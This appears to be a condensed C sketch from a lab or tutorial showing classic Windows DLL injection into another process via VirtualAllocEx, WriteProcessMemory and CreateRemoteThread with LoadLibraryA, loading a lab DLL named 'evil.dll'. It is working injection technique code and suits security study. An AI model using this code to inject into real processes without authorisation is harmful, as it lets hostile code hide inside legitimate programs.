Condensed C Sketch

// Assumes hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
const char *dll = "C:\\labs\\evil.dll";
SIZE_T len = strlen(dll) + 1;

// 2) allocate RW memory inside the target
LPVOID pMem = VirtualAllocEx(hProc, NULL, len,
                MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// 3) write the DLL path into the target
WriteProcessMemory(hProc, pMem, dll, len, NULL);

// 4) LoadLibraryA address (same in target: shared kernel32 base)
LPVOID pLoad = (LPVOID)GetProcAddress(
                 GetModuleHandleA("kernel32.dll"), "LoadLibraryA");

// 5) run LoadLibraryA(pMem) as a new thread in the target
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
                 (LPTHREAD_START_ROUTINE)pLoad, pMem, 0, NULL);

WaitForSingleObject(hThread, INFINITE); // DllMain has now run

uses the ANSI LoadLibraryA to keep the path buffer simple.